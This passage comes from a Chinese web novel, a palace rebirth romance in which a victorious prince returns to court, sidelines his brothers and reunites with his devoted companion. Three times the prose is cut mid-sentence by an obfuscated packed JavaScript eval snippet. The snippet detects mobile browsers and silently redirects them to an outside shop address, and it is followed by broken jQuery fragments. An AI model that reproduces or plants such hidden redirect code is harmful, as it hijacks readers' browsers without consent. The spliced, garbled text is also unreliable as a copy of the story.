《重生之帝宠》 2. 回京 抵京的这天,百姓们听说四皇子将北狄打成了附属国,纷纷出来迎接。 平日里就熙熙攘攘的街道,此时更是水泄不通。 “李婶,你姑娘今天咋打扮的这么漂亮啊?”刘大娘觉得奇怪,这李婶家的二妞天天在这卖豆腐,从来都是粗布麻衣的,今天不光收拾得干净利落,还穿了套嫩粉色的裙子,这是要说人家了? “你没听说吗,四皇子殿下今日回来呗,那要是万一看上我们二妞,我们也跟着鸡犬升天了!”李婶眉飞色舞地答,那架势,好像已经看见四皇子娶二妞的场面了。 刘大娘闻言便皱起了眉,撇撇嘴刚要说什么,突然人群开始骚动,尖叫声、欢呼声不绝于耳。 抬头一看,那为首的少年稳稳地坐在白马之上,身形如松柏般高大挺拔,虽是十六七的年纪,可通身的上位者气场让他有着超出年龄的成熟。 他身披一袭银甲,白马银鞍,剑眉入鬓,凌厉俊美的五官让人不敢直视。 不用说,众人也猜到这位定是四皇子——李霄,他一出现,姑娘们先是静默了一瞬,接着便开始蜂拥着将手中的花全数朝他扔去,生怕晚了就吸引不了四皇子殿下的注意了。 刘大娘见状,贴在李婶耳边大声说:“李婶,让你姑娘别想啦!这四皇子这么年轻就成了大英雄,听说还文武双全,很得圣上的看重,就连世家贵女怕是都挑花了眼,还能轮得到咱这小老百姓?洗洗睡吧!” 这话听得李婶的脸一阵红一阵白,又想不出能反驳刘大娘的话,只得干瞪眼。 这四皇子长得这么俊,更别说能力在皇子里也是顶出众的,自家闺女还是别做梦了。 街上人多,又吵闹,加上大家伙儿的注意力都在四皇子身上,两人也都没把这段玩笑话当真。 可有一人在李婶身后,把这话听到了心里。 身材纤薄笔挺、面容精致如玉的少年约莫十五六的年纪,圆润的指甲陷进了肉里。 他的眼眶通红,死死地握着拳,发白的薄唇紧抿。玉澄昨夜失眠了一整宿,天蒙蒙亮时才堪堪睡着。 醒来一看都快晌午了,生怕自己错过了殿下进城。因而来的时候有些急,没顾上挑衣服便匆匆出门了。 到了地方,他才反应过来自己穿得过于朴素了些,殿下会不会觉得自己很丢人? 玉澄打量了自己好一会儿,越看越觉得这身衣服简陋,便默默在人群中间找了个角落站着。 还是别让殿下看到他这副样子了,这个位置殿下应当看不见自己,但是自己能瞻仰到殿下凯旋的英姿。 李霄策马经过的片刻,他清楚的看到,满街的妙龄女子全都抛却了姑娘家的矜持,对殿下表达着她们的爱慕之情。 耳边充斥着嘈杂的赞叹声、羡慕声、议论声。 玉澄呆在原地,痴痴地仰望着李霄坚毅俊朗的侧脸,像望着这世间唯一的光。 这一刻,身前繁杂的人群和身后熙攘的街道都化为乌有,眼前的殿下变回了孩童模样,对着年幼的自己伸出了手,声音沉稳又让人安心:“别怕,以后你就跟着本宫,不会再被欺负了。” 他透过这五年的时光,看着只有十岁的自己,那个灰头土脸的幼童也如今天一样,这样仰望着他的光,那么专注,那么虔诚。 他的殿下那样好,合该是被无数人爱慕的,这没什么。 他在心底这样说,可无论这话重复多少次,另一个声音还是在他脑海里反复低语:“他们都配不上殿下,殿下连一个眼神都没有给他们。”虽然知道不该,但他还是无耻地窃喜了起来。 这种喜悦没有维持多久,刘大娘刺耳的话就传进了他的耳朵:“......就连世家贵女怕是都挑花了眼......”殿下这次凯旋,立下如此大的军功,陛下定是要给他封王的,封王后他就要出宫建府、成婚了,那自己还能再见到他吗...... 他不过是一个伴读,一个殿下顺手帮扶的可笑幼童,靠着他的一点怜悯之心,才得以继续留在文华殿,有什么资格和立场去干涉殿下的婚事呢? 玉澄愣愣地看着马背上的人渐渐走出他的视线,想到将来会有一名女子陪在殿下身侧,心像泡在一汪寒潭里,越发冰冷。 他来的时候虽匆忙,心里却充斥着说不清道不明的期待,如今见到了人,却像丢了魂儿似的,拖着身子回府去了。 现在的李霄要是见着玉澄这副模样,就会明白他前世一直以为的“君臣之情”早已变质了。 可他捋思绪捋的过于专注,竟是没低头往人群看一眼,就这么到了皇宫大门前,下了马,一路直奔宣政殿。 “陛下,臣有急事上奏。” “准。” 宣政殿内,群臣分列而立,御史大夫徐怀盛手持象笏,佝偻着腰站了出来,言语沉稳:“陛下,臣得到消息,数月前修复的河西堤坝——” “报——启禀圣上,四皇子殿下今日凯旋,此时已在殿外等候。” 雍靖帝一听皇四子回来了,严肃的脸上难得露出点笑容,也没顾上听了一半的消息,忙摆手让内侍宣李霄进殿。 李霄一入殿内,便察觉到殿内氛围十分微妙,不少大臣趁机偷瞄自己,御史大夫一人出列,像是正在上奏;二皇子党表情惶恐,而二皇子李康额上的虚汗早就止不住地往下流,低着头不知在想什么。 看着神色各异的群臣,李霄忽地想起,前世他回到京城时,早朝已过,所以只隐约听说老二李康犯了个大错,被父皇大骂了一通。那多半就是在今日早朝上,御史大夫弹劾了他。 脑中飞速回想,李霄先给雍靖帝行了礼,听父皇笑道:“霄儿首次领兵,便一举击退北狄。好!朕心甚慰。” 纵使帝王情绪内敛,此刻面对嫡子的胜利,雍靖帝的眼角眉梢还是忍不住洋溢出喜气,“皇四子率兵大败北狄,骁勇善战、有勇有谋,礼部拟个封号,择日呈上来吧。此次霄儿劳苦功高,是时候封王建府了。” 礼部尚书领命后,殿内的氛围登时更微妙了,未及弱冠先封亲王,这是本朝头一份儿的荣宠啊。 众臣你看我我看你,暗自揣测起来,大梁要变天了啊,陛下莫非是在暗示他更属意四皇子为储君? 李霄微微垂首回道:“儿臣幸不辱命,然不敢居功。胜利归功于大梁所有的战士,边关苦寒,在钱粮不足的情况下,能驱逐北狄,这些战士实属不易。” 前世,自己首次出征,钱粮被大皇子暗中克扣,自己顾念着兄弟情义,回来后并未声张,只是对自己这个大哥多了几分警惕,换来的却是身死国灭,这次绝不会再给他们谋害自己的机会。 雍靖帝原本和煦的面色顿时变了,皱起了眉头,问道:“朕下令拨的钱粮明明有余,怎么还会不足?”还没等李霄回答,他又说:“朕知道了,这件事朕会派人去彻查,给将士们一个交代。” 李霄当然知道幕后之人是谁,如果是父皇派人去查,保不齐人会被大皇子收买,正思索着没开口的时候,方才被打断的御史大夫再次站了出来。 “陛下,事情紧急,臣可否继续上奏?” 雍靖帝接过刘公公奉上的茶水,润了润嗓子正色道:“徐爱卿方才说河西堤坝怎的了?” “陛下,河西堤坝于数月前才刚完成修缮,谁料几日前暴雨,渭河水域河面上涨,堤坝竟塌陷了,沿岸百姓未能及时撤离,伤亡无数,这才导致近日京畿流民增多。” 全场哗然,殿内充斥着群臣讨论的嗡嗡声,皆震惊于修缮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204204|150892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的堤坝竟如此脆弱。 唯有二皇子及几名大臣的脸色更白了,其中一位更是不住地擦着额上的虚汗。 雍靖帝将殿下众臣神色尽收眼底,冷厉发问:“河西堤坝修缮一事,是谁负责的?” 殿内的嗡嗡声戛然而止,忽地陷入了诡异的安静中,片刻后,御史大夫答:“臣记得,当时修缮事宜交由了二皇子。” 话音刚落,二皇子李康发出了窦娥般的嚎叫:“父皇!儿臣虽是负责了修缮,但儿臣对天发誓,绝对是尽心竭力,一刻不曾懈怠啊!” 雍靖帝隐忍着怒意,沉声问:“不曾懈怠?那堤坝怎会轻易塌陷?” 李康腿抖如筛糠,一时也没反应过来亲哥为何拽自己袖子,咚地跪下,慌不择言道:“大概是那暴雨太大了,堤坝拦不住水,决堤了,这也是很正常的啊父皇!” 李霄心下冷笑,老二这个蠢货,他若是乖乖认错,想办法弥补,父皇还不会这么生气,可他一心为自己开脱,却又没什么合乎情理的理由,父皇只会更加震怒。 那边李康接着嚎,仿佛下一秒就要血溅白练:“父皇,儿臣真不知这是怎么回事,儿臣只是被底下人蒙蔽了——哎呦!” 没等他嚎完,雍靖帝手中茶杯已在他身侧碎裂,里头余下的茶叶溅得他满脸都是。 “满口胡言!遇事只想着推卸责任,朕怎么生了你这么个没出息的东西!数万百姓的性命就因为你,葬送于此!” 群臣垂首,噤若寒蝉,无人敢在帝王盛怒之时触这个霉头。 李霄余光看向李康身侧,那人眉头紧蹙,恨铁不成钢地看着李康,八成又在想着怎么给他的好弟弟找补。 前世便是如此,父皇派人彻查,但最后只是查出了几个小官员问责,想必是这人从中运作。加上太后和贵妃求情,此事就不了了之了。 但这次,李霄不会再让他们那么幸运了。 他从容上前,身姿挺拔,鹤立于大殿中央,不卑不亢道:“父皇息怒,儿臣以为,事已至此,当务之急是修好堤坝,妥善安置灾民,及时止损。此事儿臣请命前往。” 语毕,他扫视了一周,凌厉目光扫过那几名脸白的大臣及缩着脖子的二皇子,最终落在自家表哥脸上。 忠武侯世子顾思渊,也就是当今的户部侍郎,嘴角微微抽搐了两下,瞧见表弟的眼神,内心隐隐有了一个猜测。 雍靖帝怒火稍熄,满意点头同意李霄的提议后,朝堂的空气又流动了起来,他复又发问:“方才提到的军饷军粮欠缺一事,朕欲派人彻查,众爱卿心中可有合适人选?” 众臣又是一阵议论,待声音稍歇,李霄缓缓道:“父皇,儿臣有一人选可荐。” 看雍靖帝点头允许后,他继续道:“儿臣举荐二皇兄。”没管众人狐疑的眼神,他兀自说:“河西堤坝一事,儿臣以为二皇兄应是一时不察,想必十分内疚,不如让他将功补过,儿臣相信二皇兄定会全力以赴,还北伐军一个公道。”父皇最喜看到他们几个兄弟和睦相处,这番说辞他定会接纳。 果不其然,雍靖帝沉吟片刻,下了旨:“传朕旨意,命二皇子李康择日前往兵部、户部与城西大营,查清贪墨军饷军粮一事,一月为期,不得延误;至于堤坝修复一事,由四皇子李霄接手,全权负责,六部需全力配合。” 雍靖帝下了旨,便退朝了。 李霄迎着夏日烈阳,顶着身后众人或敬佩,或猜忌的目光径自走出了宣政殿。 他快步往临风阁走,要到了的时候,远远地看见两个背影站在临风阁前。 其中一个身影十分单薄,迎着苦夏的热浪站得笔挺。 那如竹节一般的背脊,没有一晚不在他的梦里出现,安抚他纷乱不宁的心绪。 3. 相见 “四皇兄?你怎么站在那不过来?” 六皇子这一声打断了李霄的思绪,他身旁那人闻声也回过了头。 面庞较梦中稚嫩了许多,少了些宦海沉浮的老成,薄唇如血,一双丹凤眼似是凉薄极了,但只有李霄知道,那双眼中曾暗藏的情意有多炙热。 李霄的眼眶有些热,径直向那人走了过去,步伐缓慢而坚定。 到二人跟前时,六皇子身旁那人侧了侧身,行礼道:“殿下。”声音较梦中略稚嫩了些,但真切的多。 “免礼。”李霄的声音有些暗哑,极力克制自己的情绪,抬手把对方扶了起来,看着玉澄墨色眸子中倒映着自己的身影,一颗心才算落到了实处。 玉澄抬起头,看着李霄的眼睛,一字一句:“殿下,你回来了。”声音清朗,一如前世。 李霄恍惚中想起火光中那双含着泪的眸子,喉咙微动。 “我回来了,淮澈。” 六皇子李安左看右看,觉得氛围有些古怪,挠了挠头,“四皇兄,那个,我和淮澈过来是想恭贺你凯旋。”说完,忙去瞥玉澄的脸色。 玉澄察觉到李霄紧盯着自己的视线,抿了抿嘴,眼神闪躲,应和道:“是,殿下,六殿下方才来找臣,臣才知道您今日凯旋,便同他一道来了。” 李霄见他飘忽的眼神,心下好笑,还是和小时候一样,说谎的时候便不敢看自己的眼睛,却也不拆穿。 只装作漫不经心道:“既已道完贺了,还有别的事吗?没有的话本宫要回去休息了。” 玉澄下意识抓住他的袖子,李霄还没来得及高兴,袖子又被猛地松开。 玉澄小鹿似的眸子里满是惊慌懊恼,旋即低下头,吐出一句:“殿下舟车劳顿,好生休息,臣告退了。”说罢,竟是真要转身离开。 “淮澈!”李霄暗道不好,把他逗狠了,忙开口:“你跟我来,我有事和你说。” “四皇兄,那我就先回去了啊。”见四皇兄冲自己颔首,而玉澄就像没听见自己的话似的,李安暗骂,这人真是用完就丢,见色忘义。 李安一走,李霄便带着玉澄回了临风阁,一路上,二人谁都没再开口。 进门后,李霄到底没忍住,打破了这久违的宁静。 “我不在的这两年,有没有被欺负?”其实他知玉澄并非是柔弱之人,前世这人三元及第后宦海沉浮数年,怎么可能还是十岁时那个怯生生的小伴读?但回来后,最想知道的便是他过得好不好。 玉澄不自在地转了转手上的玉扳指,李霄觉得眼熟,前世火海中,淮澈手中戴着的也是这枚扳指。 他眯着眼想了好一会儿,才想起是自己两年前送出去的那枚。 当时自己出征前向他道别,年仅十三岁的淮澈很是乖巧,一双眸子里盈满了泪水,不舍地盯着自己许久,却什么也没说。 直到自己出了宫门,才看见身后那道小小的身影,他拖着羸弱的身体,冒着大雪追了一路,只道了一句:“殿下要保重。” 为了哄他回去,自己把戴了几年的玉扳指给了他,原是顺手送出去的物件,谁曾想淮澈直到死前也未离手。 “回殿下,臣这几年过得很好,”他欲言又止,“军中艰苦,边关更是苦寒,殿下可有保重?” 李霄看他眸中满溢的担忧,心中熨帖的厉害,执起他的手,轻轻吐出一句:“一切安好。” 玉澄两年前只懵懂地将四殿下当作自己的救赎,怀着感恩与崇敬的心情,和李霄以君臣身份相处了三年。 那三年里,殿下从不曾对他做出过如此亲密之举,如今冷不防被牵了手去,心如擂鼓,生怕自己刚知晓的那点见不得人的心思被殿下发现,却又不舍得抽离。 二人各怀心思,谁也没有动。 半晌,李霄又叹:“其实也没有那么好,”看玉澄抬头紧张地望着自己,他才缓缓解释,“军中粮草不足,我和周老将军只能速战速决,靠着当地百姓的接济,才勉强撑到了战事结束。” 玉澄急切问道:“皇子出征,竟也有人胆敢贪墨钱粮?”他也是关心则乱,顾不得掩盖自己那点心思,眉头紧皱,关切中带着几分埋怨:“怪不得殿下清减了许多,这人该死。” 说完他才意识到自己失言,懊恼地垂下了头,不再言语。 李霄轻笑出声,自己前世怎么没发现他如此可爱。 噙着笑问:“两年不见,听说我的伴读现在是京城才子榜榜首?” 玉澄没想到殿下会问他这个,面上淡淡的,“不过是因着殿下不在京中,捡的漏罢了。”殊不知红透的耳根早已出卖了他。 李霄也不拆穿他,只蹙着眉为难道:“父皇叫我去修复堤坝,查明真相,可贪墨军饷一事,也需有人盯着。我已两年未回京,手下可用之人甚少,更遑论心腹之臣。” 他相信,无论玉澄现在对他有没有那种心思,都不会对此无动于衷的。 “殿下若是信得过臣,臣愿为殿下分忧。臣自知比不上顾公子,他位高权重,想必比臣得用的多。但秋闱在即,殿下且等着臣。” 李霄原本只想寻个由头照顾他,他的淮澈,前世已为他付出了太多,今生合该快活些。 但他也深知,对方绝不是安于躲在自己羽翼下的笼中雀,玉澄有治世之才。 “好,我等你。” 他从怀中掏出一块系着红绳的玉牌,那玉鲜红如血,通体纯净,未雕一字。 “既已应允要助我,那便要有个信物为证,”他拿着那玉牌凑近玉澄,眉目缱绻,温声道,“我为你戴上吧。” “殿下,这红玉太过贵重,臣不能——”玉澄慌忙拒绝,可李霄已经按住他的肩,双臂环过他的脖颈,不容抗拒地替他系上了绳结。 玉澄能感受到殿下略带薄茧的手缓缓抚过自己微凉的颈,炙热的温度带起一股酥麻的感觉,不由一阵颤栗,下意识瑟缩了一下脖颈。 李霄欣赏着他情难自禁的反应,满意地勾唇浅笑。但又怕逗弄得太狠,小伴读会被吓跑。 刚要放下手,却瞥见那玉白脖颈间的一道红痕,心中一紧。 骨节分明的手拨开对方衣领,他沉声问:“这红痕是怎么弄的。” 玉澄心下一惊,手指捏地发白,抿抿唇垂下眼皮答道:“没什么,是臣更衣时不小心蹭到的。” 李霄看他四处躲闪的视线,知他是在撒谎,软下声音苦笑道:“两年不见,淮澈果然与我生分了,”见对方倏地抬起眼皮像是急于解释,变本加厉地控诉,“学会撒谎骗我了,到底我还是个外人。” 说罢,一副被伤透了心的模样,欲拂袖而去。 可怜这一世玉澄只与他相处了不过三年,哪见识过他这一面,被这么一吓,还真的以为殿下被他伤到了心。 “殿下!我没有!”玉澄连自称都忘了说,李霄知他一贯守礼数,可见有多急于反驳。 他瞧着对方满眼焦急,暗自窃喜,面上却仍是黯然神伤的神色,目光灼灼地看着玉澄。 玉澄到底抵不住他这样,声音极轻地道出了实情。 原是玉澄的庶妹玉柔听说长公主为庆贺四皇子回京,不日将举办宴席。 前两日在府中碰见玉澄,便趾高气扬命他将自己引荐给四殿下。玉澄懒得理睬,便欲绕过她走。 可玉柔跋扈惯了,哪容得了别人对她这种轻慢态度,扬起手就要扇玉澄巴掌。 玉澄一把掐住她手腕,她毕竟是女子,体力悬殊,一时挣不开。 恰巧庶弟玉涛经过,玉柔瞧见自己哥哥来了,拼命叫痛,玉涛见妹妹受欺负,冲过来猛地勒住玉澄脖子,将他勒地险些窒息。 那兄妹二人倒像是受了什么天大的委屈似的,当日便去父亲那告了他一状,说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204205|150892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仗着四殿下要回京就欺侮庶妹。 御史中丞玉承安虽不喜发妻和嫡子,但顾忌着四皇子,只罚玉澄跪了两日祠堂。 李霄难以想象玉澄平静的语调下,是十数年被欺凌的日子。 右手下意识收紧,听到“嘶”的一声,才知道他把玉澄的伤口弄疼了,连忙敛起眸中杀意,叫宫人去请御医。 他低下头小心翼翼地查看着玉澄的伤痕,满眼疼惜,玉澄见他这样,睫毛无措地抖了抖,闪过一丝心虚。他没同殿下说的是,那兄妹二人也没讨得什么好处。 玉澄攥住玉柔手腕时,趁机洒了自己精心研制的蚀颜散。 那药粉无色无味,玉柔当日不会有什么反应,待到宴会那日毒发,便会浑身瘙痒起红疹,她引以为傲的容貌被毁,不知又会是何等心情? 至于玉涛,呵,他的报应也不远了,此时他应当是在春风楼潇洒快活吧,不知过阵子,得知那舞姬不光怀了吏部侍郎小儿子的种,还有那种病,他又是何反应呢? 玉澄心中冷笑,薛姨娘和她这对儿女这十几年加诸在他和母亲、兄长身上的,他定要慢慢偿还。 “淮澈?发什么愣?快让太医看看你的伤。” 玉澄回过神,行了个礼:“有劳太医。”说罢拨开自己的衣领,任太医查验。 其间他一直垂着眼皮,没有说话,等太医查验完,李霄唤参星随太医去御药房拿药,屋子里只剩下二人时,他还是没有抬头。 玉澄不敢看李霄,他怕被殿下发现自己阴狠的心思。 殿下若是知道两年不见,自己这般歹毒,定会厌恶他...... 因而他没有看到,李霄眼中盛满的爱怜。李霄知他在家中过得不好,御史中丞宠妾灭妻在京中早已不是秘闻,不然他幼时在文华殿怎会被众伴读肆意欺凌。 但没想到竟艰难至此,庶弟妹随意打骂他,明明无错,却要被罚跪祠堂。 前世他没有发现这道伤口,在自己没有看到的地方,他的淮澈还有多少伤痕,又忍了多少苦楚呢。 越想越难受,现在他回来了,伤害淮澈的,他一个也不会放过,有一个算一个...... 李霄的拳头渐渐收紧,常年在战场上带的肃杀气也未加收敛,周身气场冷厉到了极致。 “殿下,这是刘太医开的活血化瘀膏,交待玉公子每日涂两次。”参星将药膏递给自李霄,有些不解只是拿个活血化瘀膏,殿下怎么叫自己去。 李霄接过那药膏,朝参星摆摆手让他下去,净了手便挖出些许,一手按住玉澄的肩膀,一手轻轻附上那红痕。 他眼神专注,动作十分轻柔,和战场上杀伐果决的样子判若两人。 玉澄只觉他的目光似烈阳,要将自己融化了,料想自己的脸肯定已经熟透了,生怕露出窘态,只想赶紧结束这甜蜜的折磨。 可李霄偏偏不紧不慢,手指反复在他颈子上研磨,玉澄只能忍着颤栗,僵直着身子,听着自己如擂鼓般的心跳声。 半晌,李霄才停下,用帕子擦了手。打趣道:“淮澈怎地如此紧张?幼时本宫也曾为你上过药。” 玉澄好不容易放松下来的身子又紧绷了起来,美玉似的脸上现出无措的表情,“臣,臣只是担心过于劳烦殿下。” 李霄听他这话,知他对自己还是有些客气疏离,再想到前世对方死前那个眷恋依赖的眼神,难免失落。 “殿下若无事,臣便告退了。” 李霄见他要离开,不由更灰心,他正安慰着自己来日方长,却见那人躬身行礼后眼含微光,唇瓣开合数次后小心问道:“两日后长公主府的宴会,殿下会来的吧?” 天光大亮,万树芳华铺了他满身,李霄想,这人生来就是克他的,又何必急于一时呢? 反正自火光淹没两人的那刻起,他就决定了,要用这一生来护着他的小伴读。 4. 赴宴 “殿下,贪墨军饷一事,你明知是户部尚书干的,他可是你那两个不省油的兄长养的忠犬,这二人定会保下他,为何还把差事给二皇子?” 李霄抬眼,扫了一眼明知故问的表兄,有些嫌弃。这人最擅揣着明白装糊涂,八成又想跟自己要好处。 他漫不经心倒了杯茶,对方也甚是沉得住气,就那么端着一张奸商脸,笑眯眯地盯着自己。 “许久未去看望外祖母了,不知她老人家近日身子如何了,是否还在为不肖子孙的婚事操劳。” 不过是让他暗查户部尚书贪墨军饷的罪证,还想从他这里讨要好处。 顾思渊闻言,方才还笑得像只老狐狸的脸顿时苦了下来,告饶道:“我败了,凌云,自我弱冠以来,你因着这事,威胁了我多少次了,就不会换点新鲜的招数?” “招数不在多,有用就行。一个月后,不知本王是先收到张元启买通粮草押运官贪墨军饷的罪证,还是先收到表兄的婚礼请柬呢?” 李霄喝了口茶,气定神闲,笑看人称“玉面侍郎”的表兄龇牙咧嘴气急败坏。 顾思渊气了一会儿,认命了,反正从小到大,自家表弟没少剥削自己,只是...... “凌云,这罪证你是不能呈给陛下的,否则难免有构陷兄弟之嫌。”他难得正经,神色颇为凝重。 李霄低头摩挲着茶杯,若有所思,淡淡开口:“表兄还不了解我么,虽是在军营待了不短的时日,但这朝堂我也从未真正远离,”将杯子放下,他挑眉继续道:“坐收渔翁之利便可。” “你是说——” 见对方已明白自己的意思,他颔首:“你们户部的右侍郎是老五的人,将罪证透露给他。老五早就想把户部尚书换成自己的人了,届时,他会不吃这口到嘴的肥肉?” 顾思渊恍然大悟,不禁为自家表弟连连鼓掌:“不愧是你啊表弟,你们皇室的人就是鬼心眼子多。” “假如五皇子的人上位,对我们也是极为不利,不过——”他贱兮兮地凑到李霄身边,“表弟你肯定有后手吧?我猜猜——户部要成你的地盘儿了?” 李霄满脸嫌弃,无情地推开了风靡京城九亿少女的表兄。 二人谈完了正事,从雅间离开,李霄便回了宫,他虽要封王了,王府却还未修建好,故而依旧住在宫中。 * 翌日是永宁长公主为李霄举办的接风宴,李霄起了个大早,准备去玉府接玉澄。 那日玉澄问起,他想着给对方个惊喜,只说自己会赴宴。今日命御膳房做了玉澄最爱吃的桂花糕,收拾停当后,便驾马出发。 自前日一别,二人未再见过,都说一日不见,如隔三秋,李霄从前不觉得,如今两世第一次如此喜欢一个人,算是体会得十分真切了,期待中又有些许紧张。 从前玉澄在宫中待的晚了,他也曾送过对方回家,但从未发觉这条路这么长。 思绪纷杂之际,终于是到了玉府门口。 玉府的下人认得他,跪下行了个礼后忙要去通传,被李霄拦下了。 “你们家二少爷呢?”李霄利落下马,将缰绳抛给牵马的小厮,往里走。 “回殿下,我家少爷在西苑,还未出门。”李霄摆摆手让他下去,自去寻人。 依着前世的记忆,寻到了西苑,本以为玉澄还没起,想着先去外间等他,谁知进院却见屋门大敞,里头传出一道尖利刺耳的女声。 “玉澄,是你干的对不对!”大早上的,怎么会有女子来男子的房间? 这声音有点耳熟,他总觉得在哪听过,便侧身隐于门外,透过缝隙去看屋内的场景。 一男一女站在玉澄面前,他的表情和那日在李霄面前截然不同,略带苍白的脸上满是冷漠,薄唇绷紧成一条线,仿佛将面前的人当作一团空气,径直就要回里间。 那年轻女子见自己被无视,登时更恼火了,冲上前一只手抓住玉澄的衣领,另一只手竟是扬起手要扇他巴掌! 李霄心下一紧,一股无名火蹭地蹿上来,他视若珍宝、碰一下都小心翼翼,说句话都字斟句酌的淮澈,竟然被如此欺凌! 一只脚已从门后迈了出来,看过去的瞬间,眼前的场面又让他生生将腿收了回去。 他的淮澈,他见过他清冷孤僻的神色,或是君子端方的仪态,又或是腼腆羞赧的模样,还有前世,葬身火海时温柔破碎的样子,唯独没见过他这副冷厉凶狠的神色。 玉澄抓住女子扬起的手,扯出一抹嘲讽的笑,语气阴狠:“我干什么了?玉柔,你倒是说出来我听听,除了像个泼妇一样动辄打骂,你还会什么?” 说罢,将对方的胳膊狠狠向地上甩去。玉柔一个踉跄,狼狈地扑倒在地上。 那男子见玉柔栽倒,赶忙去扶。 她索性坐在地上不起来,指着玉澄鼻子大骂:“谁知道你这个野种用了什么毒药,肯定是你给我下毒了,今日是四殿下的接风宴,你就是嫉妒我,故意不让我去。” 玉澄唇角的弧度更鄙薄了,“是吗?你未免太看得起你自己了,你有什么值得我嫉妒的?蠢钝如猪的智商?还是尖酸刻薄的性子?” 他顿了顿,俯下身,打量了玉柔两眼,缓缓道:“难道是你这副肿胀不堪、有碍观瞻的尊荣?” 玉柔每听他说一句,脸色就更青一分,等他说完,险些背过气去,手哆哆嗦嗦地拽住身旁男子的袖子,拼命摇晃:“哥,哥,你帮我弄死他,这个小贱种竟然敢骂我,还下毒害我,我的脸,呜呜呜呜呜......” 李霄想起来了,这女子不正是淮澈的庶妹玉柔吗,前世自己偶来几次玉府,此女三番五次来自己眼前晃悠,端个茶水还数次泼在自己身上,原是揣着想当自己王妃的念头? 那这男子应是玉澄的庶弟——玉涛了。 里头的玉涛比玉澄的块头大上许多,脸上尽是狰狞之色,举起拳头便要向玉澄身上砸去,嘴里同样不干不净:“你个野种当然是嫉妒我妹能得爹的宠爱,而你,连亲生父亲都不知道是谁!和你那个水性杨花的娘一样,一副狐媚子德行,你以为除了四皇子,还有谁不知道你那点腌臜心思?以为扮可怜博得他的同情,你一个断袖,就能爬上他的床,飞黄腾达吗—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204206|150892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!” 玉涛的惨叫声活像杀猪,李霄原本正听得双拳青筋毕现,眼中杀意凛冽,再也忍不住,踹开门便要一剑刺破对方的喉咙。 却见玉涛瘫倒在地,正捂着□□,那不可言说的地方上趴着一只蝎子。 这状况甚是出乎他的意料,他不由愣在原地。玉澄望向他,神色惊诧中又混杂着不知所措。 “殿,殿下,您怎么,怎么来了。”玉澄眼神左躲右闪,颤声问。 李霄两世都没这么尴尬过,以手抵拳:“本王,本王来接你赴宴,”干咳了两声,“你收拾好便出来吧。” 随后看也没看正歪歪斜斜站起来朝他抛媚眼的玉柔,拂袖快步离去了。 半晌,玉澄换了一身皓色衣袍,强装镇定地出来行了礼。 他身姿修长,眉眼清冷,月白色的袍子更衬得他有几分出尘,与方才失态的模样判若两人。 上了马车,李霄终是忍不住,笑出了声。 这人,在自己面前又变回温驯的小白兔了,方才那副狠辣的样子真是让他大开眼界,他从未想到淮澈还有这样一面,甚是讶异,又有一种没来由的喜悦。 玉澄还沉浸在被殿下发现自己的狠辣而兀自神伤,冷不防被他这么一笑,愈发不知所措了。 小伴读垂着眼皮,睫毛似蝶翼,在眼睑上扇动,能听得出明显的哽咽:“殿下可是在笑臣?” 李霄看他竟是难过的狠了,不敢笑了,忙摇头:“淮澈,你别乱想,我只是——” “只是什么?”玉澄抬起头,神色如常,可眼眶却殷红,不安的情绪在眸中蔓延,又被他悉数压在眼底。 李霄侧过身,面对玉澄,双手扶住对方的脸颊,珍而重之道:“觉得你很可爱。真的,特别可爱。”生气的样子,教训人的样子,越了解,就让他越情难自禁的那种可爱。 一瞬间,玉澄感觉脑海里仿佛有烟花炸开,争先恐后地在他心上盛放,炸得他有些分不清方向了。 殿下说他可爱,那是不是代表,他对自己也...... 但方才玉涛戳破了自己许多秘密,殿下岂不是知道自己对他......他会不会疏远自己呢。 李霄瞧着他双眸刚迸出的欣喜又消失了,不知道他是又想到了什么,于感情上,他也是初学者,一时不知该如何安慰对方。 他左右搜寻,余光扫到了早上出门时带的食盒,眼底一亮。 掀开食盒的盖子,递给玉澄,柔声哄道:“淮澈,早上出来的匆忙,想必没用早膳吧?我命御膳房做了你最爱吃的桂花糕,快趁热吃些垫垫肚子吧。” 玉澄接过,捏起一块放进嘴里,眼中似有万千情意,轻笑着低语:“殿下还记得啊......” 李霄见他笑了,心中松了一口气,又用帕子将他唇边的碎渣擦净,温声回:“怎么会不记得呢,在文华殿时,你瘦瘦小小的一只,我猜你是在家吃不好,便时常带些糕点给你吃,久了发现每次给你带这个,你吃的最多。” “有关于你的,我都记得。”即使过了奈何桥,饮下孟婆那碗忘前尘,他依然记得。 5. 中毒 “殿下,长公主府到了。” 李霄下了马车,又回身扶了玉澄下来。永宁长公主听见下人的通传,亲自出府来迎他。 